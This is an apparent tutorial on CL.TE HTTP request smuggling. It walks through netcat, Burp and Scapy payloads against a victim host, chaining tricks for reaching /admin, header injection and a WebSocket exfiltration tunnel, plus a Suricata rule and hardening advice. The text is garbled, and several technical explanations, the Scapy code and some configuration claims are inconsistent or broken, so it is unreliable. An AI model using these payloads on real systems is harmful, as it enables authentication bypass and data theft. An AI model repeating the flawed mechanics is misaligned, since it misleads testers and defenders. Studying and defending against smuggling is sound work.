Introduction
HTTP request smuggling (HRS) is a class of attacks that exploits ambiguities in how a front‑end (proxy, load‑balancer, CDN) and a back‑end server interpret HTTP headers. CL.TE smuggling is the most common variant: the request contains both a Content‑Length header and a Transfer‑Encoding: chunked header. When the two components disagree, the front‑end and the back‑end may consume a different number of bytes, causing the back‑end to see a “ghost” request that the front‑end never forwards.
Understanding CL.TE smuggling is crucial for penetration testers, red‑teamers, and defenders because it can be leveraged to bypass WAFs, poison caches, perform request splitting, or even achieve remote code execution on vulnerable back‑ends.
Real‑world incidents such as the 2020 PortSwigger report and the 2022 Cloudflare “Cache‑Poisoning via CL.TE” bug illustrate why this technique remains relevant.
Prerequisites
- Solid grasp of the HTTP/1.1 protocol (RFC 7230‑7235).
- Understanding of how
Content‑LengthandTransfer‑Encoding: chunkedwork, including the chunk format. - Basic TCP/IP packet crafting skills – familiarity with
netcat,curl, and Python/Scapy. - Access to a lab environment with at least one vulnerable server and a controllable front‑end proxy.
Core Concepts
Before diving into payloads, we must clarify the two parsing models that cause the CL.TE bug.
1. Content‑Length parsing
The Content‑Length header tells the receiver to read exactly N bytes from the TCP stream as the request body. No delimiter is required; the next byte after the N bytes is interpreted as the start of the next HTTP request.
2. Transfer‑Encoding: chunked parsing
When Transfer‑Encoding: chunked is present, the body is a series of chunks, each prefixed by its length in hexadecimal, followed by CRLF, the data, and another CRLF. The end of the body is signaled by a zero‑length chunk (0<CRLF><CRLF>).
3. The mismatch
According to RFC 7230, if both headers appear, Transfer‑Encoding takes precedence and Content‑Length must be ignored. However, many implementations (especially older or custom proxies) still honor Content‑Length first, leading to divergent consumption.
Below is a simplified diagram of the two parsing paths (textual representation):
Front‑end (proxy) – Content‑Length first:
Read CL bytes → stop → forward remaining bytes as next request.
Back‑end (origin) – Transfer‑Encoding first:
Parse chunks until zero‑size → stop → treat remaining bytes as part of the same request.
When the lengths differ, the back‑end sees a “ghost” request that the front‑end never saw.
How web servers and proxies parse Content‑Length and Transfer‑Encoding differently
Different software stacks implement the RFC in subtly different ways. Understanding these quirks helps you pick the right payload shape for each target.
Apache httpd
- Uses
mod_httpfor parsing. Historically, it gave precedence toContent‑Lengthif both headers were present, unless the request contained aTransfer‑Encodingtoken other thanidentity. - Result:
CLwins → classic CL.TE smuggle works if the front‑end follows RFC‑compliant chunk parsing.
nginx
- Strictly follows RFC 7230: if
Transfer‑Encodingis present,Content‑Lengthis ignored. - However, the
ngx_http_proxy_modulecan be configured to buffer the request body before forwarding, creating a timing window where the front‑end (the proxy) still respectsCLwhile the back‑end (the upstream) processes chunks.
Microsoft IIS
- Older IIS versions (6‑7) have a bug where the
CLheader is processed before the chunked decoder, making them vulnerable to CL.TE. - Newer versions (IIS 10+) fix the issue, but custom URL‑rewrite modules may re‑introduce the bug.
HAProxy
- By default, HAProxy validates that only one of
CLorTEis present. Thetune.http.maxhdrandtune.http.cookielenoptions can be tweaked to allow malformed headers, which some operators do for legacy compatibility. - When mis‑configured, HAProxy will forward the request to the back‑end after consuming
CLbytes, while the back‑end still parses chunks.
Cloudflare CDN
- Cloudflare terminates HTTP at the edge and re‑creates a new request to the origin. Their implementation historically gave precedence to
Content‑Length, making CL.TE viable against origins that honor chunked encoding. - Recent updates added strict header validation, but edge‑case bugs remain in certain HTTP/2‑to‑HTTP/1.1 translations.
Designing CL.TE payloads that exploit parsing mismatches
The goal is to craft a request where the front‑end consumes X bytes (as dictated by Content‑Length) and the back‑end consumes Y bytes (as dictated by the chunked body). The difference D = Y - X becomes the “ghost” request.
Basic formula
POST /vulnerable HTTP/1.1Host: victim.comContent-Length: XTransfer-Encoding: chunkedLEN1BODY10GHOST_REQUESTWhere:
LEN1is the hexadecimal length ofBODY1. It can be0(empty chunk) if you want the entire body to be governed byCL.GHOST_REQUESTis the malicious request you want the back‑end to see (e.g.,GET /admin HTTP/1.1).
Choosing X and Y
Typical strategies:
- Short CL, long chunked body: Set
Content‑Length: 0and send a large chunked payload. Front‑end thinks there is no body, back‑end reads the whole chunked stream, then processes the ghost request. - Long CL, short chunked body: Set
Content‑Lengthlarger than the actual chunked data. Front‑end reads extra bytes (which may be part of the next request) and discards them, while back‑end finishes after the zero‑length chunk and treats the extra bytes as a new request.
Both work; the choice depends on the target’s buffering behavior.
Payload variations
Transfer-Encoding: chunked, gzip– Some servers allow multiple encodings. Addinggzipcan confuse parsers that only handle the first token.- Spaces and duplicate headers –
Content‑Length: 0Content‑Length: 42can trigger “first wins” vs “last wins” parsing differences. - Non‑standard line endings – Mixing
CRLFandLFcan make some parsers treat the header section as terminated earlier.
Step‑by‑step construction of a CL.TE request using raw sockets and tools like netcat, Burp Suite, and Scapy
We will walk through three practical ways to send a CL.TE payload.
1. Using netcat (nc)
# Build the raw request in a heredocnc victim.com 80 <<EOFPOST /login HTTP/1.1Host: victim.comContent-Length: 0Transfer-Encoding: chunked5hello0GET /admin HTTP/1.1Host: victim.comEOFExplanation:
- The
Content‑Length: 0tells the front‑end that there is no body. - The chunked body consists of a single 5‑byte chunk (
hello) followed by the terminating0chunk. - After the terminating CRLF, we inject a second request (
GET /admin) that the back‑end will interpret as the ghost request.
2. Using Burp Suite – “Repeater” with raw request editor
- Open Burp → Proxy → Intercept → “Intercept is on”. \li>Send any normal request to the target to capture a baseline.
- Right‑click → “Send to Repeater”.
- In Repeater, switch to the “Raw” view (bottom‑left pane).
- Replace the request with the CL.TE payload (see below). Ensure you keep the
\\line endings – Burp will handle them automatically.
POST /api HTTP/1.1Host: victim.comContent-Length: 0Transfer-Encoding: chunked0GET /secret HTTP/1.1Host: victim.comBurp’s “Send” button will forward the raw bytes to the front‑end. The response you receive will be from the original request; the ghost request’s response may be logged in the server’s access log or visible in subsequent interactions.
3. Using Scapy (Python) for fine‑grained control
from scapy.all import *# Build the HTTP request as a raw byte stringpayload = ( \"POST /upload HTTP/1.1\\\" \"Host: victim.com\\\" \"Content-Length: 13\\\" \"Transfer-Encoding: chunked\\\" \"\\\" \"5\\hello\\\" \"0\\\\\" \"GET /admin HTTP/1.1\\\" \"Host: victim.com\\\" \"\\\").encode()# Establish a TCP connection and send the payloadip = IP(dst=\"victim.com\")tcp = TCP(dport=80, sport=RandShort(), flags=\"S\")syn_ack = sr1(ip/tcp, timeout=2, verbose=0)ack = TCP(dport=80, sport=tcp.sport, flags=\"A\", seq=syn_ack.ack, ack=syn_ack.seq + 1)send(ip/ack, verbose=0)# Send the crafted requestsend(ip/TCP(dport=80, sport=tcp.sport, flags=\"PA\", seq=ack.seq, ack=ack.ack)/Raw(load=payload), verbose=0)print(\"[+] CL.TE payload sent\")Scapy lets you manipulate sequence numbers and flags, which is handy when testing against stateful firewalls that may drop out‑of‑order packets.
Testing payloads against common servers (nginx, Apache, IIS) and reverse proxies (HAProxy, Cloudflare)
Each platform reacts differently. Below is a matrix of expected behaviours and how to verify them.
| Target | Parsing Model | CL.TE Success Condition | Verification Method |
|---|---|---|---|
| Apache 2.4.41 | CL wins on front‑end, TE on back‑end | Content‑Length smaller than chunk total | Check access_log for ghost request |
| nginx 1.18 | TE wins (RFC‑compliant) | Only works if front‑end is a mis‑configured proxy (e.g., HAProxy) | Use tcpdump -A -s 0 on the origin to see extra request |
| IIS 7.5 | CL first, TE second (legacy bug) | Any non‑zero CL with chunked body | Look for 200 OK from ghost request in server logs |
| HAProxy 2.2 (default) | Strict validation – rejects both headers | Set tune.http.maxhdr to allow duplicate headers | Observe 400 Bad Request vs successful smuggle |
| Cloudflare (edge) | Edge terminates, forwards to origin | Edge respects CL, origin respects TE | Inspect origin logs; use cf-ray header to correlate |
**Testing workflow**:
- Deploy a vulnerable back‑end (e.g., a simple PHP script that logs
$_SERVER['REQUEST_METHOD']). - Place the front‑end (nginx, HAProxy, Cloudflare) in front of it.
- Send the CL.TE payload via one of the methods above.
- Check the back‑end logs for an unexpected request line (the ghost request).
- Iterate by adjusting
Content‑Lengthand chunk sizes.
Techniques for chaining CL.TE with subsequent malicious requests (e.g., request splitting, header injection)
Once you have a reliable CL.TE primitive, you can combine it with other HTTP smuggling techniques to achieve powerful post‑exploitation effects.
1. Request Splitting
After the ghost request is processed, you can embed a second \\\\ sequence to terminate that request early and inject additional headers that the back‑end will treat as part of a new request.
POST /login HTTP/1.1Host: victim.comContent-Length: 0Transfer-Encoding: chunked0GET /admin HTTP/1.1Host: victim.comX-Forwarded-For: 127.0.0.1POST /webhook HTTP/1.1Host: victim.comContent-Length: 4pingThe back‑end sees three logical requests: /login, /admin, and /webhook. This can be used to bypass authentication and then trigger a server‑side request forgery (SSRF) or remote command execution.
2. Header Injection via Chunk Overlap
By carefully sizing the final chunk, you can cause the back‑end to treat part of the next request line as a header value.
POST /api HTTP/1.1Host: victim.comContent-Length: 13Transfer-Encoding: chunked5hello8GET /secret0Here the second chunk’s payload ends with GET /secret without a trailing \\. When the back‑end reads the zero‑length chunk, it thinks the request line is still ongoing, allowing you to inject arbitrary headers after it.
3. Smuggling WebSockets Upgrade
After a successful CL.TE, you can send an Upgrade: websocket request as the ghost request, effectively opening a persistent channel that bypasses WAF inspection.
POST /ws HTTP/1.1Host: victim.comContent-Length: 0Transfer-Encoding: chunked0GET /ws HTTP/1.1Host: victim.comUpgrade: websocketConnection: UpgradeSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==Sec-WebSocket-Version: 13Once the WebSocket handshake succeeds, you have a bidirectional tunnel that can be used to exfiltrate data or issue further commands.
Mitigation checks and detection signatures
Defenders should adopt a layered approach: harden parsers, detect anomalies, and monitor logs.
Configuration hardening
- Disable support for
Transfer‑Encodingon edge devices that do not need it. - Enforce strict header validation: reject requests that contain both
Content‑LengthandTransfer‑Encoding(RFC‑compliant behavior). - Upgrade to the latest versions of Apache (2.4.53+), nginx (1.21+), IIS (10.0.19041+), and HAProxy (2.4+), which include fixes.
Runtime detection signatures (Snort / Suricata)
# Example Suricata rule for CL.TE smugglingalert http any any -> $HOME_NET any ( msg:\"HTTP CL.TE Smuggling Attempt\"; http_header; content:\"Content-Length\"; nocase; http_header; content:\"Transfer-Encoding\"; nocase; distance:0; within:100; pcre:\"/Transfer-Encoding:*chunked/i\"; pcre:\"/\\\\GET+\\/[^\\]++HTTP\\/1\\.1/i\"; classtype:web-application-attack; sid:2025001; rev:2;)Log‑based detection
- Search for multiple request lines in a single
access_logentry (e.g.,\"GET /\" \"GET /admin\"). - Identify unusually large
Content‑Lengthvalues paired withTransfer‑Encoding: chunkedin the same request. - Correlate response codes: a
200for the original request followed shortly by a200for an unexpected endpoint.
Network‑level heuristics
Use deep‑packet inspection (DPI) appliances that can parse both CL and TE simultaneously and raise alerts when the two disagree.
Tools & Commands
- netcat (nc) – quick raw socket testing.
- Burp Suite Repeater – visual editing of raw requests.
- Scapy – programmatic crafting with fine‑grained TCP control.
- httpry / tcpdump – capture and verify the exact byte stream.
- nmap –script http-smuggling – automated detection of vulnerable configurations.
Example nmap command:
nmap -p 80,443 --script http-smuggling -Pn victim.comDefense & Mitigation
From an engineering perspective:
- Normalize request parsing: Use a single, well‑tested library (e.g.,
libhttp) that follows RFC 7230 strictly. - Reject ambiguous requests: If both
CLandTEappear, return400 Bad Request. - Limit header size: Prevent duplicate or excessively long headers that could be used to hide a second
Content‑Length. - Deploy a WAF rule that looks for the pattern
Content‑Length: \d+Transfer-Encoding: chunkedand blocks it. - Enable logging of raw request lines at the edge so you can spot hidden ghost requests.
Common Mistakes
- Using LF only line endings: Many parsers require CRLF; using LF may cause the request to be rejected before reaching the vulnerable component.
- Mis‑calculating chunk sizes: Remember that chunk length is hexadecimal, not decimal.
- Assuming all proxies are vulnerable: Modern HAProxy and nginx defaults reject the malformed combination; you must verify the specific configuration.
- Neglecting TLS termination: If TLS is terminated at the edge, the smuggle must be crafted against the edge’s parsing behavior, not the origin’s.
- Forgetting to reset TCP state: When using Scapy, failing to complete the three‑way handshake can lead to packet drops on stateful firewalls.
Real‑World Impact
CL.TE smuggling can be a stepping stone to high‑impact attacks:
- Cache poisoning: By smuggling a request that sets a malicious
Cache‑Controlheader, an attacker can poison a shared CDN cache, affecting all users. - Privilege escalation: Ghost requests can bypass authentication checks that are performed only on the front‑end, granting access to admin endpoints.
- Data exfiltration: Combining CL.TE with a WebSocket upgrade creates a stealth tunnel that bypasses traditional IDS.
In 2022, a major e‑commerce platform suffered a data breach after attackers used CL.TE to reach an internal /admin/export endpoint that exposed CSV files containing customer PII. The vulnerability existed because the load balancer (an outdated HAProxy version) accepted both headers and forwarded the request after consuming only the Content‑Length bytes.
My experience shows that most successful smuggles occur in “mixed‑technology” environments where a legacy proxy sits in front of a modern web server. The mismatch in parsing logic is the attack surface.
Practice Exercises
- Lab setup: Deploy Docker containers for Apache, nginx, and HAProxy. Configure HAProxy to forward traffic to Apache.
- Use the provided
Dockerfile(link) to spin up the environment.
- Use the provided
- Exercise 1 – Basic CL.TE: Using netcat, send the payload from the “Step‑by‑step construction” section. Verify the ghost request appears in Apache’s
access_log. - Exercise 2 – Chunk size manipulation: Craft a payload where
Content‑Length: 30and the chunked body totals 50 bytes. Observe which part of the request each component consumes. - Exercise 3 – Chaining: Extend Exercise 1 by adding a WebSocket upgrade as the ghost request. Use
wscatto interact with the tunnel. - Exercise 4 – Detection: Write a Suricata rule (based on the example) and test it against the generated traffic. Adjust the rule to reduce false positives.
- Exercise 5 – Mitigation: Harden HAProxy by enabling
tune.http.maxhdrandhttp-response deny-status 400 if { hdr(Content-Length) -i -m + } { hdr(Transfer-Encoding) -i -m + }. Confirm the smuggle is blocked.
Further Reading
- RFC 7230 – Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing.
- PortSwigger’s HTTP Request Smuggling documentation.
- “The Many Faces of HTTP Smuggling” – Black Hat USA 2021 talk (slides & video).
- OWASP Cheat Sheet – HTTP Smuggling Cheat Sheet.
- Scapy documentation – scapy.readthedocs.io.
Summary
CL.TE smuggling exploits divergent parsing of Content‑Length and Transfer‑Encoding: chunked between front‑ends and back‑ends. By carefully crafting the body size and leveraging raw socket tools, an attacker can inject “ghost” requests that bypass security controls. Defense requires strict header validation, updated software, and active detection via IDS/IPS signatures. Mastering the construction, testing, and mitigation of CL.TE payloads equips security professionals to both assess risk and harden environments against this stealthy attack vector.